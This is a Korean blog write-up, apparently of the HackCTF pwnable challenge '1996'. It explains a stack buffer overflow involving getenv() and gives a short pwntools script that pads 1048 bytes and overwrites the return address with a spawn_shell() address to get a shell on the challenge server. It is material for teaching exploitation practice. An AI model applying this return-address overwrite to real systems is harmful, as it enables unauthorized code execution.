tmxklab

[HackCTF/Pwnable] 1996 본문

War Game/HackCTF

[HackCTF/Pwnable] 1996

tmxk4221 2020. 2. 23. 18:48

1. 문제확인

 

nc ctf.j0n9hyun.xyz 3013

 

1) 접속

입력 값을 받고 출력해준 뒤 프로그램이 종료함

 

2) IDA를 통해 확인

main함수와 /bin/sh을 실행시켜주는 spawn_shell함수가 존재

 

2-1) IDA(Pseudocode)확인 - main()

 

3) $checksec를 통해 elf파일에 걸린 메모리 보호기법 확인


2. 접근방법

1) getenv()확인

- getenv()에서 인자 값으로 name변수를 받게 되는데 이 때, bof수행이 가능하다.

- 참고로 getenv()는 환경변수 값을 읽어오는 함수이다.

 

2) 결론

  • getenv()를 통해 bof를 수행하여 ret값을 spawn_shell()주소로 바꾸면 될 것 같다.

3. 풀이

1) spawn_shell() 주소 확인

spawn_shell() : 0x400897

 

2) 공격코드 작성

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3013)
spawn_addr = 0x400897

payload = "A"*1048
payload += p64(spawn_addr)
p.sendline(payload)

p.interactive()

 

3) 공격 실행

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] RTL_Core  (0) 2020.02.23
[HackCTF/Pwnable] Random Key  (0) 2020.02.23
[HackCTF/Pwnable] Poet  (0) 2020.02.22
[HackCTF/Pwnable] g++ pwn  (0) 2020.02.22
[HackCTF/Pwnable] RTL_World  (0) 2020.02.22
Comments